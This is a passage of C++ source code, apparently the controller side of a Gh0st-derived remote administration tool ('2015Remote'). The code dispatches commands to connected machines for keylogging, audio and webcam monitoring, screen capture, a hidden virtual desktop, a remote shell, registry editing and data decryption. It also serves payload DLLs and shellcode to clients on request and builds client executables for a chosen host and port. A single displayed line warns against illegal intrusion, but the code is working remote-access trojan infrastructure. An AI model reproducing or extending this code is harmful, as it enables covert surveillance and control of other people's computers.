CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
BYTE bToken[32] = { COMMAND_SCREEN_SPY, n, algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString()), all};
SendSelectedCommand(bToken, sizeof(bToken));
}
VOID CMy2015RemoteDlg::OnOnlineFileManager()
{
BYTE bToken = COMMAND_LIST_DRIVE;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineAudioManager()
{
BYTE bToken = COMMAND_AUDIO;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineVideoManager()
{
BYTE bToken = COMMAND_WEBCAM;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineServerManager()
{
BYTE bToken = COMMAND_SERVICES;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineRegisterManager()
{
BYTE bToken = COMMAND_REGEDIT;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
{
BYTE bToken = COMMAND_KEYBOARD;
SendSelectedCommand(&bToken, sizeof(BYTE));
}
std::vector<std::string> splitString(const std::string& str, char delimiter)
{
std::vector<std::string> result;
std::stringstream ss(str);
std::string item;
while (std::getline(ss, item, delimiter)) {
result.push_back(item);
}
return result;
}
std::string joinString(const std::vector<std::string>& tokens, char delimiter)
{
std::ostringstream oss;
for (size_t i = 0; i < tokens.size(); ++i) {
oss << tokens[i];
if (i != tokens.size() - 1) { // 在最后一个元素后不添加分隔符
oss << delimiter;
}
}
return oss.str();
}
bool CMy2015RemoteDlg::CheckValid(int trail)
{
DateVerify verify;
BOOL isTrail = verify.isTrail(trail);
if (!isTrail) {
const Validation *verify = GetValidation();
std::string masterHash = GetMasterHash();
if (masterHash != GetPwdHash() && !verify->IsValid()) {
return false;
}
auto settings = "settings", pwdKey = "Password";
// 验证口令
CPasswordDlg dlg(this);
static std::string hardwareID = getHardwareID();
static std::string hashedID = hashSHA256(hardwareID);
static std::string deviceID = getFixedLengthID(hashedID);
CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str();
dlg.m_sDeviceID = deviceID.c_str();
dlg.m_sPassword = pwd;
if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) {
return false;
}
// 密码形式20250209 - 20350209: SHA256: HostNum
auto v = splitString(dlg.m_sPassword.GetBuffer(), '-');
if (v.size() != 6 && v.size() != 7) {
THIS_CFG.SetStr(settings, pwdKey, "");
MessageBox("格式错误,请重新申请口令!", "提示", MB_ICONINFORMATION);
return false;
}
std::vector<std::string> subvector(v.end() - 4, v.end());
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size()==6?"":": "+v[2]);
std::string finalKey = deriveKey(password, deviceID);
std::string hash256 = joinString(subvector, '-');
std::string fixedKey = getFixedLengthID(finalKey);
if (hash256 != fixedKey) {
THIS_CFG.SetStr(settings, pwdKey, "");
if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
if (!dlg.m_sPassword.IsEmpty())
MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING);
return false;
}
}
// 判断是否过期
auto pekingTime = ToPekingTime(nullptr);
char curDate[9];
std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime);
if (curDate < v[0] || curDate > v[1]) {
THIS_CFG.SetStr(settings, pwdKey, "");
MessageBox("口令过期,请重新申请口令!", "提示", MB_ICONINFORMATION);
return false;
}
if (dlg.m_sPassword != pwd)
THIS_CFG.SetStr(settings, pwdKey, dlg.m_sPassword.GetString());
int maxConn = v.size() == 7 ? atoi(v[2].c_str()) : 2;
if (maxConn != m_nMaxConnection) {
m_nMaxConnection = maxConn;
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
}
}
return true;
}
void CMy2015RemoteDlg::OnOnlineBuildClient()
{
// TODO: 在此添加命令处理程序代码
CBuildDlg Dlg;
Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str();
int Port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
Dlg.DoModal();
}
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while(Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
continue;
if (szBuffer[0] == COMMAND_UPDATE) {
CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
if (data == "SC" || data == "MDLL") {
ContextObject->Send2Client(szBuffer, 1);
continue;
}
}
ContextObject->Send2Client(szBuffer, ulLength);
}
LeaveCriticalSection(&m_cs);
}
//真彩Bar
VOID CMy2015RemoteDlg::OnAbout()
{
MessageBox("Copyleft (c) FTU 2019—2025" + CString("\n编译日期: ") + __DATE__ +
CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于");
}
//托盘Menu
void CMy2015RemoteDlg::OnNotifyShow()
{
BOOL v= IsWindowVisible();
ShowWindow(v? SW_HIDE : SW_SHOW);
}
void CMy2015RemoteDlg::OnNotifyExit()
{
Release();
CDialogEx::OnOK(); // 关闭对话框
}
//固态菜单
void CMy2015RemoteDlg::OnMainSet()
{
CSettingDlg Dlg;
Dlg.m_nMax_Connect = m_nMaxConnection;
BOOL use = THIS_CFG.GetInt("frp", "UseFrp");
int port = THIS_CFG.GetInt("frp", "server_port", 7000);
auto token = THIS_CFG.GetStr("frp", "token");
auto ret = Dlg.DoModal(); //模态 阻塞
if (ret != IDOK) return;
BOOL use_new = THIS_CFG.GetInt("frp", "UseFrp");
int port_new = THIS_CFG.GetInt("frp", "server_port", 7000);
auto token_new = THIS_CFG.GetStr("frp", "token");
ApplyFrpSettings();
if (use_new != use) {
MessageBoxA("修改FRP代理开关需要重启当前应用程序方可生效。", "提示", MB_ICONINFORMATION);
} else if (port != port_new || token != token_new) {
m_frpStatus = STATUS_STOP;
Sleep(200);
m_frpStatus = STATUS_RUN;
}
if (use && use_new && m_hFRPThread == NULL) {
MessageBoxA("FRP代理服务异常需要重启当前应用程序进行重试。", "提示", MB_ICONINFORMATION);
}
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) {
return;
}
LVCOLUMN lvColumn;
memset(&lvColumn, 0, sizeof(LVCOLUMN));
lvColumn.mask = LVCF_TEXT;
lvColumn.pszText = Dlg.m_sSoftwareDetect.GetBuffer();
CLock L(m_cs);
m_settings.ReportInterval = m;
m_settings.DetectSoftware = n;
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
SendMasterSettings(nullptr);
}
void CMy2015RemoteDlg::OnMainExit()
{
Release();
CDialogEx::OnOK(); // 关闭对话框
}
std::string exec(const std::string& cmd)
{
HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
return "";
}
STARTUPINFOA si = {};
PROCESS_INFORMATION pi = {};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
si.wShowWindow = SW_HIDE;
std::string command = "cmd.exe /C " + cmd;
if (!CreateProcessA(
NULL,
(char*)command.data(),
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return "";
}
CloseHandle(hWritePipe);
char buffer[256];
std::string result;
DWORD bytesRead;
while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = '\0';
result += buffer;
}
CloseHandle(hReadPipe);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return result;
}
std::vector<std::string> splitByNewline(const std::string& input)
{
std::vector<std::string> lines;
std::istringstream stream(input);
std::string line;
while (std::getline(stream, line)) {
lines.push_back(line);
}
return lines;
}
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
{
AUTO_TICK(200);
UINT ret = 0;
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 ) {
Mprintf("======> StartServer Failed \n");
char cmd[200];
sprintf_s(cmd, "for /f \"tokens=5\" %%i in ('netstat -ano ^| findstr \":%s \"') do @echo %%i", nPort.c_str());
std::string output = exec(cmd);
output.erase(std::remove(output.begin(), output.end(), '\r'), output.end());
if (!output.empty()) {
std::vector<std::string> lines = splitByNewline(output);
std::sort(lines.begin(), lines.end());
auto last = std::unique(lines.begin(), lines.end());
lines.erase(last, lines.end());
std::string pids;
for (const auto& line : lines) {
pids += line + ",";
}
if (!pids.empty()) {
pids.back() = '?';
}
if (IDYES == MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()) +
"\r\n是否关闭以下进程重试: " + pids.c_str(), "提示", MB_YESNO)) {
for (const auto& line : lines) {
auto cmd = std::string("taskkill /f /pid ") + line;
exec(cmd.c_str());
}
return Activate(nPort, nMaxConnection, method);
}
} else
MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()));
return FALSE;
}
ShowMessage("使用提示", "严禁用于非法侵入、控制、监听他人设备等违法行为");
CString strTemp;
strTemp.Format("监听端口: %s成功", nPort.c_str());
ShowMessage("操作成功",strTemp);
return TRUE;
}
BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
{
if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) {
return FALSE;
}
AUTO_TICK(50);
if (ContextObject->hWnd) {
if (!IsWindow(ContextObject->hWnd))
return FALSE;
DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
Dlg->MarkReceiving(true);
Dlg->OnReceiveComplete();
Dlg->MarkReceiving(false);
} else {
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (hEvent == NULL) {
Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
return FALSE;
}
if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
CloseHandle(hEvent);
return FALSE;
}
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (result == WAIT_FAILED) {
DWORD err = GetLastError();
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
}
}
return TRUE;
}
// 对话框指针及对话框句柄
struct dlgInfo {
HANDLE hDlg; // 对话框指针
HWND hWnd; // 窗口句柄
dlgInfo(HANDLE h, HWND type) : hDlg(h), hWnd(type) { }
};
BOOL CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
{
if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed)
return FALSE;
dlgInfo* dlg = ContextObject->hWnd ? new dlgInfo(ContextObject->hDlg, ContextObject->hWnd) : NULL;
SOCKET nSocket = ContextObject->sClientSocket;
g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket);
ContextObject->hWnd = NULL;
return TRUE;
}
LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam)
{
HANDLE hEvent = (HANDLE)wParam;
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
MessageHandle(ContextObject);
if (hEvent) {
SetEvent(hEvent);
CloseHandle(hEvent);
}
return S_OK;
}
std::string getDateStr(int daysOffset = 0)
{
// 获取当前时间点
std::time_t now = std::time(nullptr);
// 加上指定的天数(可以为负)
now += static_cast<std::time_t>(daysOffset * 24 * 60 * 60);
std::tm* t = std::localtime(&now);
std::ostringstream oss;
oss << std::setfill('0') << std::setw(4) << (t->tm_year + 1900)
<< std::setw(2) << (t->tm_mon + 1)
<< std::setw(2) << t->tm_mday;
return oss.str();
}
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
{
if (isClosed) {
return;
}
clock_t tick = clock();
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
// 【L】主机上下线和授权
// 【x】对话框相关功能
switch (cmd) {
case TOKEN_GETVERSION: { // 获取版本【L】
// TODO 维持心跳
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
Buffer* bin = m_ServerBin[is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86];
DllSendData dll = { TASK_MAIN, L"ServerDll.dll", is64Bit, bin->length()-6 };
BYTE *resp = new BYTE[1 + sizeof(DllSendData) + dll.DataSize];
resp[0] = 0;
memcpy(resp+1, &dll, sizeof(DllSendData));
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
ContextObject->Send2Client(resp, 1 + sizeof(DllSendData) + dll.DataSize);
SAFE_DELETE_ARRAY(resp);
break;
}
case CMD_AUTHORIZATION: { // 获取授权【L】
int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
if (n < 100) break;
char resp[100] = { 0 }, *devId = resp + 5, *pwdHash = resp + 32;
ContextObject->InDeCompressedBuffer.CopyBuffer(resp, min(n, sizeof(resp)), 0);
unsigned short* days = (unsigned short*)(resp + 1);
unsigned short* num = (unsigned short*)(resp + 3);
BYTE msg[12] = {};
memcpy(msg, resp, 5);
memcpy(msg+8, resp+96, 4);
uint32_t now = clock();
uint32_t tm = *(uint32_t*)(resp + 96);
if (now < tm || now - tm > 30000) {
Mprintf("Get authorization timeout[%s], devId: %s, pwdHash:%s", ContextObject->PeerName.c_str(),
devId, pwdHash);
break;
}
uint64_t signature = *(uint64_t*)(resp + 24);
if (devId[0] == 0 || pwdHash[0] == 0 || !VerifyMessage(m_superPass, msg, sizeof(msg), signature)) {
Mprintf("Get authorization failed[%s], devId: %s, pwdHash:%s\n", ContextObject->PeerName.c_str(),
devId, pwdHash);
break;
}
char hostNum[10] = {};
sprintf(hostNum, "%04d", *num);
// 密码形式20250209 - 20350209: SHA256: HostNum
std::string hash = std::string(pwdHash, pwdHash+64);
std::string password = getDateStr(0) + " - " + getDateStr(*days) + ": " + hash + ": " + hostNum;
std::string finalKey = deriveKey(password, std::string(devId, devId+19));
std::string fixedKey = getDateStr(0) + std::string("-") + getDateStr(*days) + "-" + hostNum +
std::string("-") + getFixedLengthID(finalKey);
memcpy(devId, fixedKey.c_str(), fixedKey.length());
devId[fixedKey.length()] = 0;
std::string hmac = genHMAC(hash, m_superPass);
memcpy(resp + 64, hmac.c_str(), hmac.length());
resp[80] = 0;
ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));
Sleep(20);
break;
}
case CMD_EXECUTE_DLL: { // 请求DLL执行代码【L】
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
DllInfo* dll = *i;
if (dll->Name == info->Name) {
// TODO 如果是UDP发送大包数据基本上不可能成功
ContextObject->Send2Client( dll->Data->Buf(), dll->Data->length());
break;
}
}
Sleep(20);
break;
}
case COMMAND_PROXY: { // 代理映射【x】
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_HEARTBEAT:
case 137: // 心跳【L】
UpdateActiveWindow(ContextObject);
break;
case SOCKET_DLLLOADER: {// 请求DLL【L】
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
int connNum = 0;
if (typ == SHELLCODE) {
Mprintf("===> '%s' Request SC [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
} else {
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
}
char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
// TODO 注入记事本的加载器需要更新
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
break;
}
case COMMAND_BYE: { // 主机下线【L】
CancelIo((HANDLE)ContextObject->sClientSocket);
closesocket(ContextObject->sClientSocket);
Sleep(10);
break;
}
case TOKEN_DRAWING_BOARD: { // 远程画板【x】
g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DRIVE_LIST_PLUGIN: { // 文件管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SYSINFOLIST: { // 主机管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_CHAT_START: { // 远程交谈【x】
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DECRYPT: { // 解密数据【x】
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_KEYBOARD_START: {// 键盘记录【x】
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_LOGIN: { // 上线包【L】
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_BITMAPINFO: { // 远程桌面【x】
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DRIVE_LIST: { // 文件管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_TALK_START: { // 发送消息【x】
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SHELL_START: { // 远程终端【x】
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_WSLIST: // 窗口管理【x】
case TOKEN_PSLIST: { // 进程管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_AUDIO_START: { // 语音监听【x】
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_REGEDIT: { // 注册表管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SERVERLIST: { // 服务管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
break;
}
case CMD_PADDING: { // 随机填充
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
break;
}
default: {
Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
}
}
auto duration = clock() - tick;
if (duration > 200) {
Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->PeerName.c_str(), cmd, duration);
}
}
LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
{
CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //注意这里的 ClientContext 正是发送数据时从列表里取出的数据
if (ContextObject == NULL || isClosed) {
return -1;
}
try {
strIP = ContextObject->GetPeerName().c_str();
// 不合法的数据包
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) {
char buf[100];
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
Mprintf(buf);
return -1;
}
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
auto curID = GetMasterId();
ContextObject->bLogin = (LoginInfor->szMasterID == curID || strlen(LoginInfor->szMasterID)==0);
if (!ContextObject->bLogin) {
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
}
//主机名称
strPCName = LoginInfor->szPCName;
//版本信息
strOS = LoginInfor->OsVerInfoEx;
//CPU
if (LoginInfor->dwCPUMHz != -1) {
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
} else {
strCPU = "Unknown";
}
//网速
strPing.Format("%d", LoginInfor->dwSpeed);
strVideo = m_settings.DetectSoftware ? "" : LoginInfor->bWebCamIsExist ? "" : "";
strAddr.Format("%d", ContextObject->GetPort());
auto v = LoginInfor->ParseReserved(RES_MAX);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
delete LoginInfor;
return S_OK;
} catch(...) {
Mprintf("[ERROR] OnUserToOnlineList catch an error \n");
}
return -1;
}
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{
Mprintf("======> OnUserOfflineMsg\n");
CString ip, port;
port.Format("%d", lParam);
EnterCriticalSection(&m_cs);
int n = m_CList_Online.GetItemCount();
for (int i = 0; i < n; ++i) {
CString cur = m_CList_Online.GetItemText(i, ONLINELIST_ADDR);
if (cur == port) {
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
auto ctx = (context*)m_CList_Online.GetItemData(i);
m_HostList.erase(ctx);
m_CList_Online.DeleteItem(i);
ShowMessage("操作成功", ip + "主机下线");
break;
}
}
LeaveCriticalSection(&m_cs);
dlgInfo *p = (dlgInfo *)wParam;
if (p) {
if (::IsWindow(p->hWnd)) {
::PostMessageA(p->hWnd, WM_CLOSE, 0, 0);
}
delete p;
p = NULL;
}
return S_OK;
}
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
{
Heartbeat hb;
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
// 回复心跳
// if(0)
{
HeartbeatACK ack = { hb.Time };
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
ctx->Send2Client(buf, sizeof(buf));
}
CLock L(m_cs);
int n = m_CList_Online.GetItemCount();
context* cur = (context*)ctx;
for (int i = 0; i < n; ++i) {
context* id = (context*)m_CList_Online.GetItemData(i);
if (cur->IsEqual(id)) {
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
if (hb.Ping > 0)
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "" : "");
return;
}
}
}
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
{
BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING };
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
if (ctx) {
ctx->Send2Client(buf, sizeof(buf));
} else {
EnterCriticalSection(&m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
context* ContextObject = *i;
if (!ContextObject->IsLogin())
continue;
ContextObject->Send2Client(buf, sizeof(buf));
}
LeaveCriticalSection(&m_cs);
}
}
bool isAllZeros(const BYTE* data, int len) {
for (int i = 0; i < len; ++i)
if (data[i])
return false;
return true;
}
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
{
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
if (buf->length()) {
// 只有发送了IV的加载器才支持AES加密
int len = ContextObject->InDeCompressedBuffer.GetBufferLength();
bool hasIV = len >= 32 && !isAllZeros(ContextObject->InDeCompressedBuffer.GetBuffer(16), 16);
char md5[33] = {};
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
if (!buf->MD5().empty() && md5 != buf->MD5()) {
ContextObject->Send2Client(buf->Buf(), buf->length(!hasIV));
} else {
ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
}
}
}
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CFileManagerDlg, IDD_FILE>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenTalkDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CTalkDlg, IDD_DIALOG_TALK>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CShellDlg, IDD_DIALOG_SHELL>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CSystemDlg, IDD_DIALOG_SYSTEM>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CAudioDlg, IDD_DIALOG_AUDIO>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CVideoDlg, IDD_DIALOG_VIDEO>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CKeyBoardDlg, IDD_DLG_KEYBOARD>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CProxyMapDlg, IDD_PROXY>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CHideScreenSpyDlg, IDD_SCREEN>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CMachineDlg, IDD_MACHINE>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CChat, IDD_CHAT>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<DecryptDlg, IDD_DIALOG_DECRYPT>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<file::CFileManagerDlg, IDD_FILE_WINOS>(wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam)
{
return OpenDialog<CDrawingBoard, IDD_DRAWING_BOARD>(wParam, lParam);
}
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{
OnAbout();
return TRUE;
}
BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN) {
return TRUE;
}
if ((pMsg->message == WM_LBUTTONDOWN || pMsg->message == WM_RBUTTONDOWN) && m_pFloatingTip) {
HWND hTipWnd = m_pFloatingTip->GetSafeHwnd();
if (::IsWindow(hTipWnd)) {
CPoint pt(pMsg->pt);
CRect tipRect;
::GetWindowRect(hTipWnd, &tipRect);
if (!tipRect.PtInRect(pt)) {
